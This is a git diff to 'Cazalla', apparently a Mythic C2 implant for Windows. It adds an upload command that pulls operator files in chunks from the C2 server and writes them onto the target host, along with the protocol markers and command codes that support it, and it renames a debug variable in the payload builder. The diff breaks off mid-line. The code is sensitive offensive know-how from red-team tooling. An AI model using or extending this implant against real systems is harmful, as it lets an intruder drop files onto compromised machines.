diff --git "a/Against\n/home/debian/Cazalla/Payload_Type/cazalla/cazalla/agent_functions/upload.py" "b/Against\n/home/debian/Cazalla/Payload_Type/cazalla/cazalla/agent_functions/upload.py" new file mode 100644 index 0000000..41514dd --- /dev/null +++ "b/Against\n/home/debian/Cazalla/Payload_Type/cazalla/cazalla/agent_functions/upload.py" @@ -0,0 +1,104 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import os + + +class UploadArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="file", + type=ParameterType.File, + description="File to upload to the target", + ), + CommandParameter( + name="path", + type=ParameterType.String, + description="Path where the file should be saved on the target", + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a file and path") + + parts = self.command_line.split(" ", 1) + if len(parts) != 2: + raise ValueError("Must supply both file and path: upload ") + + self.add_arg("file", parts[0]) + self.add_arg("path", parts[1]) + + async def parse_dictionary(self, dictionary_arguments): + if "file" in dictionary_arguments: + self.add_arg("file", dictionary_arguments["file"]) + if "path" in dictionary_arguments: + # Normalize path: replace double backslashes with single backslash + path = dictionary_arguments["path"] + if path: + path = path.replace("\\\\", "\\") + self.add_arg("path", path) + + +class UploadCommand(CommandBase): + cmd = "upload" + needs_admin = False + help_cmd = "upload " + description = "Upload a file from the Mythic server to the target" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = UploadArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + file_id = taskData.args.get_arg("file") + path = taskData.args.get_arg("path") + + # Get file information to extract filename + try: + file_search = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + AgentFileId=file_id, + LimitByCallback=False, + TaskID=taskData.Task.ID + )) + + if file_search.Success and len(file_search.Files) > 0: + file_info = file_search.Files[0] + filename = file_info.Filename + + # If path is empty, use current directory + if not path or path.strip() == "": + path = ".\\" + filename + # If path ends with backslash or is a directory, append filename + elif path.endswith("\\") or path.endswith("/"): + # Path is a directory, append filename + path = path.rstrip("\\/") + "\\" + filename + # Check if path is just a directory (no filename extension and ends with no backslash) + elif not os.path.basename(path) or (not path.endswith("\\") and os.path.isabs(path) and not os.path.splitext(os.path.basename(path))[1]): + # Try to check if it's a directory by seeing if basename has no extension + # This is a heuristic - if path has no extension and looks like a directory, append filename + if not os.path.splitext(os.path.basename(path))[1]: + # No extension, might be a directory + path = path.rstrip("\\/") + "\\" + filename + + response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}" + # Update the path argument with the final path (including filename if needed) + taskData.args.add_arg("path", path) + else: + # If we can't get file info, just use the path as-is + response.DisplayParams = f"file_id: {file_id}, path: {path}" + except Exception as e: + # If we can't get file info, just use the path as-is + response.DisplayParams = f"file_id: {file_id}, path: {path} (warning: could not get filename: {str(e)})" + + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c index 08720f2..068b9e7 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.c @@ -1201,4 +1201,271 @@ VOID DescargarFichero(PAnalizador argumentos) { end: LocalFree(rutaFichero); +} + +// Helper structure to store upload response data +typedef struct { + BOOL success; + UINT32 total_chunks; + UINT32 chunk_num; + PCHAR chunk_data_b64; // Base64 encoded chunk data + SIZE_T chunk_data_len; +} UploadResponseData; + +// Helper function to extract upload response data from Mythic response +// Format: Binary response with upload response marker 0xF9 followed by [total_chunks:4][chunk_num:4][chunk_data_len:4][chunk_data_base64] +static BOOL extractUploadResponse(PAnalizador respuesta, UploadResponseData* out) { + if (!respuesta || !out || respuesta->tamano < 13) { + return FALSE; + } + + // Look for upload response marker 0xF9 + PBYTE buffer = respuesta->buffer; + SIZE_T len = respuesta->tamano; + + for (SIZE_T i = 0; i < len - 13; i++) { // At least: marker(1) + total_chunks(4) + chunk_num(4) + data_len(4) + if (buffer[i] == 0xF9) { + // Found marker, extract data + i++; // Skip marker + + // Extract total_chunks + if (i + 4 > len) break; + out->total_chunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + // Extract chunk_num + if (i + 4 > len) break; + out->chunk_num = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + // Extract chunk_data length + if (i + 4 > len) break; + UINT32 chunk_data_len = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3]; + i += 4; + + if (chunk_data_len == 0 || chunk_data_len > 1024 * 1024 || i + chunk_data_len > len) { + break; + } + + // Extract chunk_data (base64 string) + out->chunk_data_b64 = (PCHAR)LocalAlloc(LPTR, chunk_data_len + 1); + if (!out->chunk_data_b64) { + return FALSE; + } + + memcpy(out->chunk_data_b64, buffer + i, chunk_data_len); + out->chunk_data_b64[chunk_data_len] = '\0'; + out->chunk_data_len = chunk_data_len; + out->success = TRUE; + + return TRUE; + } + } + + return FALSE; +} + +VOID SubirFichero(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + UINT32 nbArg = getInt32(argumentos); + + _dbg("[upload] tenemos %d argumentos", nbArg); + if (nbArg < 2) { + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: Se requiere file_id y path\n"); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + return; + } + + // Parse arguments: file_id and path + SIZE_T tamano = 0; + PCHAR file_id = getString(argumentos, &tamano); + SIZE_T tamano2 = 0; + PCHAR rutaDestino = getString(argumentos, &tamano2); + + _dbg("[upload] File ID: \"%s\", Ruta destino: \"%s\"", file_id, rutaDestino); + + // Normalizar path y verificar que no termine en backslash + char fullPath[2048] = {0}; + if (GetFullPathNameA(rutaDestino, sizeof(fullPath), fullPath, NULL) == 0) { + strncpy(fullPath, rutaDestino, sizeof(fullPath) - 1); + fullPath[sizeof(fullPath) - 1] = '\0'; + } + + // Verificar si el path es un directorio (termina en \ o es un directorio existente) + SIZE_T pathLen = strlen(fullPath); + if (pathLen > 0 && (fullPath[pathLen - 1] == '\\' || fullPath[pathLen - 1] == '/')) { + // Path termina en backslash, es un directorio sin nombre de archivo + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio. Especifique un nombre de archivo: %s\n", fullPath); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } + + // Verificar si el path existe y es un directorio + DWORD fileAttrib = GetFileAttributesA(fullPath); + if (fileAttrib != INVALID_FILE_ATTRIBUTES && (fileAttrib & FILE_ATTRIBUTE_DIRECTORY)) { + // El path existe y es un directorio + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: El path es un directorio existente. Especifique un nombre de archivo: %s\n", fullPath); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } + + // Crear archivo de destino + HANDLE hFile = CreateFileA( + fullPath, + GENERIC_WRITE, + 0, + NULL, + CREATE_ALWAYS, + FILE_ATTRIBUTE_NORMAL, + NULL + ); + + if (hFile == INVALID_HANDLE_VALUE) { + DWORD error = GetLastError(); + _err("[upload] No se pudo crear el archivo. Código: %lu\n", error); + + PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaError, tareaUuid, FALSE); + PPaquete salidaError = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaError, FALSE, "[upload] Error: No se pudo crear el archivo. Código: %lu\n", error); + addBytes(respuestaError, (PBYTE)salidaError->buffer, salidaError->length, TRUE); + mandarPaquete(respuestaError); + liberarPaquete(salidaError); + liberarPaquete(respuestaError); + goto end; + } + + const DWORD CHUNK_SIZE = 512 * 1024; // 512KB chunks + UINT32 totalChunks = 0; + UINT32 currentChunk = 1; + DWORD totalBytesWritten = 0; + + // Solicitar chunks uno por uno + while (TRUE) { + _dbg("[upload] Solicitando chunk %lu", currentChunk); + + // Crear paquete para solicitar chunk + PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE); + addString(requestPaquete, tareaUuid, FALSE); + + // Agregar output vacío para chunks de upload + addInt32(requestPaquete, 0); + + // Agregar upload request + addUploadRequest(requestPaquete, file_id, CHUNK_SIZE, currentChunk, fullPath); + + // Enviar solicitud y recibir respuesta + PAnalizador respuesta = mandarPaquete(requestPaquete); + liberarPaquete(requestPaquete); + + if (!respuesta) { + _err("[upload] Error: No se recibió respuesta para chunk %lu\n", currentChunk); + break; + } + + // Parsear respuesta de upload + UploadResponseData uploadResp = {0}; + if (!extractUploadResponse(respuesta, &uploadResp)) { + _err("[upload] Error: No se pudo parsear respuesta de upload para chunk %lu\n", currentChunk); + liberarAnalizador(respuesta); + break; + } + + // Primera respuesta: obtener total_chunks + if (totalChunks == 0) { + totalChunks = uploadResp.total_chunks; + _dbg("[upload] Total chunks: %lu", totalChunks); + + PPaquete infoRespuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(infoRespuesta, tareaUuid, FALSE); + PPaquete salidaInfo = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaInfo, FALSE, "[upload] Iniciando upload: %s (%lu chunks)\n", + fullPath, totalChunks); + addBytes(infoRespuesta, (PBYTE)salidaInfo->buffer, salidaInfo->length, TRUE); + mandarPaquete(infoRespuesta); + liberarPaquete(salidaInfo); + liberarPaquete(infoRespuesta); + } + + // Decodificar chunk_data de base64 + PBYTE decodedData = NULL; + SIZE_T decodedLen = 0; + + if (uploadResp.chunk_data_b64 && uploadResp.chunk_data_len > 0) { + if (!base64_decode(uploadResp.chunk_data_b64, &decodedData, &decodedLen)) { + _err("[upload] Error decodificando base64 para chunk %lu\n", currentChunk); + LocalFree(uploadResp.chunk_data_b64); + liberarAnalizador(respuesta); + break; + } + + // Escribir chunk al archivo + DWORD bytesWritten = 0; + if (!WriteFile(hFile, decodedData, (DWORD)decodedLen, &bytesWritten, NULL)) { + DWORD error = GetLastError(); + _err("[upload] Error escribiendo chunk %lu. Código: %lu\n", currentChunk, error); + LocalFree(decodedData); + LocalFree(uploadResp.chunk_data_b64); + liberarAnalizador(respuesta); + break; + } + + totalBytesWritten += bytesWritten; + _dbg("[upload] Chunk %lu/%lu escrito: %lu bytes (total: %lu bytes)", + currentChunk, totalChunks, bytesWritten, totalBytesWritten); + + LocalFree(decodedData); + } + + LocalFree(uploadResp.chunk_data_b64); + liberarAnalizador(respuesta); + + // Verificar si hemos recibido todos los chunks + if (currentChunk >= totalChunks) { + _dbg("[upload] Todos los chunks recibidos"); + break; + } + + currentChunk++; + } + + CloseHandle(hFile); + + // Enviar mensaje final con artifact + PPaquete respuestaFinal = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaFinal, tareaUuid, FALSE); + + PPaquete salidaFinal = nuevoPaquete(0, FALSE); + PackageAddFormatPrintf(salidaFinal, FALSE, "[upload] Upload completado: %s (%lu bytes)\n", + fullPath, totalBytesWritten); + addBytes(respuestaFinal, (PBYTE)salidaFinal->buffer, salidaFinal->length, TRUE); + + // Agregar artifact File Write (indica que se escribió un archivo) + addArtifact(respuestaFinal, "File Write", fullPath); + + mandarPaquete(respuestaFinal); + liberarPaquete(salidaFinal); + liberarPaquete(respuestaFinal); + +end: + return; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h index c8f2daa..b4aae99 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/SistemadeFicheros.h @@ -21,4 +21,6 @@ VOID LeerFichero(PAnalizador argumentos); VOID DescargarFichero(PAnalizador argumentos); +VOID SubirFichero(PAnalizador argumentos); + #endif //FILESYSTEM_H \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index f2a8eaf..f55a730 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -52,6 +52,8 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { LeerFichero(analizadorTarea); } else if (tarea == DOWNLOAD_CMD) { DescargarFichero(analizadorTarea); + } else if (tarea == UPLOAD_CMD) { + SubirFichero(analizadorTarea); } else if (tarea == START_SOCKS_CMD) { _dbg("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index a8672a2..ec30cc5 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -30,6 +30,7 @@ #define RM_CMD 0x25 #define CAT_CMD 0x26 #define DOWNLOAD_CMD 0x27 +#define UPLOAD_CMD 0x28 /* New SOCKS control commands (agent-side) */ #define START_SOCKS_CMD 0x60 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c index ffa8223..0feb065 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.c @@ -711,4 +711,34 @@ VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE c addString(paquete, chunk_data_b64, FALSE); LocalFree(chunk_data_b64); +} + +VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path) { + if (!paquete || !file_id) { + return; + } + + // Upload request marker (0xF8) + addByte(paquete, 0xF8); + + // File ID length and value + SIZE_T file_id_len = strlen(file_id); + addInt32(paquete, (UINT32)file_id_len); + addString(paquete, file_id, FALSE); + + // Chunk size + addInt32(paquete, chunk_size); + + // Chunk number (1-based) + addInt32(paquete, chunk_num); + + // Full path length and value (optional, can be empty string) + if (!full_path) { + full_path = ""; + } + SIZE_T path_len = strlen(full_path); + addInt32(paquete, (UINT32)path_len); + if (path_len > 0) { + addString(paquete, full_path, FALSE); + } } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h index 7f82cfa..cd45513 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/paquete.h @@ -47,4 +47,8 @@ VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR c VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size); VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len); +/* Upload helpers: for file upload from Mythic to agent */ +/* Format for upload request: [0xF8 marker][file_id_len:4][file_id][chunk_size:4][chunk_num:4][full_path_len:4][full_path] */ +VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py index 4c6823d..2bdd840 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -75,61 +75,61 @@ class CazallaAgent(PayloadType): # Track encryption configuration crypto_type_value = None aespsk_key_b64 = "" - debug_output = [] # Collect all debug messages for "Applying configuration" step + debug_messages = [] # Collect all debug messages for "Applying configuration" step - debug_output.append(f"=== DEBUG INFO ===") - debug_output.append(f"UUID: {self.uuid}") - debug_output.append(f"Number of C2 profiles: {len(self.c2info)}") + debug_messages.append(f"=== DEBUG INFO ===") + debug_messages.append(f"UUID: {self.uuid}") + debug_messages.append(f"Number of C2 profiles: {len(self.c2info)}") for c2 in self.c2info: profile = c2.get_c2profile() - debug_output.append(f"\n--- C2 Profile: {profile} ---") + debug_messages.append(f"\n--- C2 Profile: {profile} ---") params_dict = c2.get_parameters_dict() if not params_dict: - debug_output.append("WARNING: get_parameters_dict() returned None or empty!") + debug_messages.append("WARNING: get_parameters_dict() returned None or empty!") continue - debug_output.append(f"Parameters dict keys: {list(params_dict.keys())}") - debug_output.append(f"Full params_dict: {params_dict}") + debug_messages.append(f"Parameters dict keys: {list(params_dict.keys())}") + debug_messages.append(f"Full params_dict: {params_dict}") for key, val in params_dict.items(): - debug_output.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})") + debug_messages.append(f"Processing parameter: {key} = {val} (type: {type(val).__name__})") # Check if val is a dict that might contain enc_key if isinstance(val, dict): - debug_output.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}") + debug_messages.append(f" -> Parameter {key} is a dict with keys: {list(val.keys())}") # Handle AESPSK dict: contains 'value' (crypto_type), 'enc_key', and 'dec_key' if key == "AESPSK" or key == "aespsk": # Extract crypto_type from 'value' field if 'value' in val: crypto_type_value = val['value'] - debug_output.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}") + debug_messages.append(f" -> Found crypto_type in AESPSK['value']: {crypto_type_value}") # Extract enc_key if 'enc_key' in val: if val["enc_key"] is not None and val["enc_key"] != "": aespsk_key_b64 = val["enc_key"] try: decoded_len = len(base64.b64decode(val['enc_key'])) - debug_output.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})") + debug_messages.append(f" -> Found enc_key in AESPSK: {val['enc_key'][:50]}... (decoded length: {decoded_len})") except Exception as e: - debug_output.append(f" -> ERROR decoding enc_key: {e}") + debug_messages.append(f" -> ERROR decoding enc_key: {e}") else: - debug_output.append(f" -> enc_key in AESPSK is None or empty") + debug_messages.append(f" -> enc_key in AESPSK is None or empty") # Handle other dict parameters that might contain enc_key elif 'enc_key' in val: - debug_output.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...") + debug_messages.append(f" -> Found enc_key in dict: {val['enc_key'][:50] if val['enc_key'] else 'None'}...") if val["enc_key"] is not None and val["enc_key"] != "": aespsk_key_b64 = val["enc_key"] try: decoded_len = len(base64.b64decode(val['enc_key'])) - debug_output.append(f" -> enc_key decoded length: {decoded_len}") + debug_messages.append(f" -> enc_key decoded length: {decoded_len}") except Exception as e: - debug_output.append(f" -> ERROR decoding enc_key: {e}") + debug_messages.append(f" -> ERROR decoding enc_key: {e}") else: aespsk_key_b64 = "" - debug_output.append(f" -> enc_key is None or empty") + debug_messages.append(f" -> enc_key is None or empty") else: Config[key] = val else: @@ -137,41 +137,41 @@ class CazallaAgent(PayloadType): # Log the crypto_type value and store it (in case it comes as a direct parameter) if key == "crypto_type": crypto_type_value = val - debug_output.append(f" -> crypto_type set to: {val}") + debug_messages.append(f" -> crypto_type set to: {val}") # Also check if the key itself is 'enc_key' if key == "enc_key" and val and not isinstance(val, dict): aespsk_key_b64 = str(val) - debug_output.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...") + debug_messages.append(f" -> Found enc_key as direct parameter: {aespsk_key_b64[:50]}...") break # Determine encryption based on crypto_type and enc_key - debug_output.append(f"\n=== ENCRYPTION DECISION ===") - debug_output.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})") - debug_output.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}") - debug_output.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}") - debug_output.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}") + debug_messages.append(f"\n=== ENCRYPTION DECISION ===") + debug_messages.append(f"crypto_type_value = {crypto_type_value} (type: {type(crypto_type_value).__name__ if crypto_type_value else 'None'})") + debug_messages.append(f"aespsk_key_b64 length = {len(aespsk_key_b64) if aespsk_key_b64 else 0}") + debug_messages.append(f"crypto_type_value == 'aes256_hmac'? {crypto_type_value == 'aes256_hmac'}") + debug_messages.append(f"aespsk_key_b64 is truthy? {bool(aespsk_key_b64)}") encryption_enabled = False if crypto_type_value == "aes256_hmac" and aespsk_key_b64: encryption_enabled = True - debug_output.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present") + debug_messages.append(f"✓ Encryption ENABLED: crypto_type={crypto_type_value}, enc_key present") else: - debug_output.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}") + debug_messages.append(f"✗ Encryption DISABLED: crypto_type={crypto_type_value or 'none'}, enc_key={'present' if aespsk_key_b64 else 'missing'}") # Set encryption configuration if encryption_enabled and aespsk_key_b64: Config["ENCRYPTION_ENABLED"] = "1" # Use 1/0 instead of TRUE/FALSE for direct numeric use Config["AESPSK_KEY"] = aespsk_key_b64 - debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'") - debug_output.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})") - debug_output.append(f"Agent-side encryption ENABLED with AES256-HMAC") + debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '1'") + debug_messages.append(f"Set Config[AESPSK_KEY] = '{Config['AESPSK_KEY'][:20]}...' (length: {len(Config['AESPSK_KEY'])})") + debug_messages.append(f"Agent-side encryption ENABLED with AES256-HMAC") else: Config["ENCRYPTION_ENABLED"] = "0" # Use 1/0 instead of TRUE/FALSE for direct numeric use Config["AESPSK_KEY"] = "" - debug_output.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'") - debug_output.append(f"Set Config[AESPSK_KEY] = '' (empty)") - debug_output.append(f"Agent-side encryption disabled") + debug_messages.append(f"\nSet Config[ENCRYPTION_ENABLED] = '0'") + debug_messages.append(f"Set Config[AESPSK_KEY] = '' (empty)") + debug_messages.append(f"Agent-side encryption disabled") if "https://" in Config["callback_host"]: Config["ssl"] = True @@ -196,9 +196,9 @@ class CazallaAgent(PayloadType): config_path = f"{agent_build_path.name}/agent_code/cazalla/Config.h" # Replace placeholders in Config.h - debug_output.append(f"\n=== CONFIG.H REPLACEMENT ===") - debug_output.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'") - debug_output.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'") + debug_messages.append(f"\n=== CONFIG.H REPLACEMENT ===") + debug_messages.append(f"Before replacement - ENCRYPTION_ENABLED='{Config.get('ENCRYPTION_ENABLED', 'NOT SET')}'") + debug_messages.append(f"Before replacement - AESPSK_KEY='{Config.get('AESPSK_KEY', 'NOT SET')[:20] if Config.get('AESPSK_KEY') else 'NOT SET'}...'") with open(config_path, "r+") as f: content = f.read() @@ -215,8 +215,8 @@ class CazallaAgent(PayloadType): # Replace encryption settings encryption_value = Config.get("ENCRYPTION_ENABLED", "0") aespsk_value = Config.get("AESPSK_KEY", "") - debug_output.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'") - debug_output.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})") + debug_messages.append(f"Replacing %ENCRYPTION_ENABLED% with '{encryption_value}'") + debug_messages.append(f"Replacing %AESPSK_KEY% with '{aespsk_value[:30] if aespsk_value else ''}...' (length: {len(aespsk_value)})") content = content.replace("%ENCRYPTION_ENABLED%", encryption_value) content = content.replace("%AESPSK_KEY%", aespsk_value) @@ -231,15 +231,15 @@ class CazallaAgent(PayloadType): import re match = re.search(r'#define ENCRYPTION_ENABLED\s+(\S+)', content_after) if match: - debug_output.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}") + debug_messages.append(f"\n✓ Verified: Config.h has ENCRYPTION_ENABLED = {match.group(1)}") match = re.search(r'#define AESPSK_KEY\s+"([^"]*)"', content_after) if match: key_val = match.group(1) - debug_output.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}") + debug_messages.append(f"✓ Verified: Config.h has AESPSK_KEY length = {len(key_val)}") # Send all debug info as part of "Applying configuration" step final_output = f"All configuration setting applied (output={output_format}, debug_level={debug_level}, debug_output={debug_output})\n\n" - final_output += "\n".join(debug_output) + final_output += "\n".join(debug_messages) await SendMythicRPCPayloadUpdatebuildStep(MythicRPCPayloadUpdateBuildStepMessage( PayloadUUID=self.uuid, diff --git a/Payload_Type/cazalla/cazalla/agent_functions/upload.py b/Payload_Type/cazalla/cazalla/agent_functions/upload.py new file mode 100644 index 0000000..8ff3d50 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/upload.py @@ -0,0 +1,101 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import os + + +class UploadArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [ + CommandParameter( + name="file", + type=ParameterType.File, + description="File to upload to the target", + ), + CommandParameter( + name="path", + type=ParameterType.String, + description="Path where the file should be saved on the target", + ), + ] + + async def parse_arguments(self): + if len(self.command_line) == 0: + raise ValueError("Must supply a file and path") + + parts = self.command_line.split(" ", 1) + if len(parts) != 2: + raise ValueError("Must supply both file and path: upload ") + + self.add_arg("file", parts[0]) + # Normalize path in parse_arguments too + path = parts[1] + if path: + # Replace all sequences of double backslashes with single backslash + while "\\\\" in path: + path = path.replace("\\\\", "\\") + self.add_arg("path", path) + + async def parse_dictionary(self, dictionary_arguments): + if "file" in dictionary_arguments: + self.add_arg("file", dictionary_arguments["file"]) + if "path" in dictionary_arguments: + # Normalize path: replace double backslashes with single backslash + path = dictionary_arguments["path"] + if path: + # Replace all sequences of double backslashes with single backslash + while "\\\\" in path: + path = path.replace("\\\\", "\\") + self.add_arg("path", path) + + +class UploadCommand(CommandBase): + cmd = "upload" + needs_admin = False + help_cmd = "upload " + description = "Upload a file from the Mythic server to the target" + version = 1 + author = "@KaseyaOFSTeam" + argument_class = UploadArguments + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + + file_id = taskData.args.get_arg("file") + path = taskData.args.get_arg("path") + + # Get file information to extract filename + try: + file_search = await SendMythicRPCFileSearch(MythicRPCFileSearchMessage( + AgentFileId=file_id, + LimitByCallback=False, + TaskID=taskData.Task.ID + )) + + if file_search.Success and len(file_search.Files) > 0: + file_info = file_search.Files[0] + filename = file_info.Filename + + # If path is empty, use current directory + filename + if not path or path.strip() == "": + path = ".\\" + filename + # If path ends with backslash or forward slash, append filename + elif path.endswith("\\") or path.endswith("/"): + path = path.rstrip("\\/") + "\\" + filename + + response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}" + # Update the path argument with the final path (including filename if needed) + taskData.args.add_arg("path", path) + else: + response.DisplayParams = f"file_id: {file_id}, path: {path}" + except Exception as e: + response.DisplayParams = f"file_id: {file_id}, path: {path} (warning: could not get filename: {str(e)})" + + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 0a09e5b..4f92851 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -16,6 +16,7 @@ commands = { "rm": {"hex_code": 0x25, "input_type": "string"}, "cat": {"hex_code": 0x26, "input_type": "string"}, "download": {"hex_code": 0x27, "input_type": "string"}, + "upload": {"hex_code": 0x28, "input_type": "string"}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, @@ -53,6 +54,14 @@ def responseTasking(tasks): data = command_code + task_id if task["parameters"] != "": parameters = json.loads(task["parameters"]) + # Normalize paths for upload command - replace double backslashes + if command_to_run == "upload" and "path" in parameters: + path = parameters["path"] + if path: + # Replace all 